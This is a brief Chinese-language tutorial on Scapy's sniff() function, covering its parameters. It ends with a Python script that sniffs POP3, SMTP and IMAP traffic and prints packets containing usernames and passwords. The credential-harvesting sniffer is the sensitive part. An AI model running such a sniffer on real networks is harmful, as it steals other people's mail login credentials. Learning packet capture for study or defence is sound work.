主要功能函數sniff
sniff(filter="",iface="any",prn=function,count=N)
filter參數允許我們對Scapy嗅探的數據包指定一個BPF(Wireshark類型)的過濾器,也可以留空以嗅探所有的數據包。
例如:嗅探所有的HTTP數據包,tcp port 80的BPF過濾
iface參數設置嗅探器所要嗅探的網卡,留空則對所有網卡進行嗅探。
例如:wlan0
prn參數指定嗅探到符合過濾器條件的數據包時所調用的回調函數,這個回調函數以接受到的數據包對象作為唯一的參數。
例如:
def pack_callback(packet):
print packet.show()
sniff(prn=pack_callback,iface="wlan0",count=1)
count參數指定你需要嗅探的數據包的個數,留空則默認為嗅探無限個
此處添加一個嗅探mail的源碼
#coding:utf-8
from scapy.all import *
def pack_callback(packet):
print packet.show()
if packet[TCP].payload:
mail_packet=str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "Server:%s"%packet[IP].dst
print "%s"%packet[TCP].payload
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=pack_callback,iface="wlan0",count=0)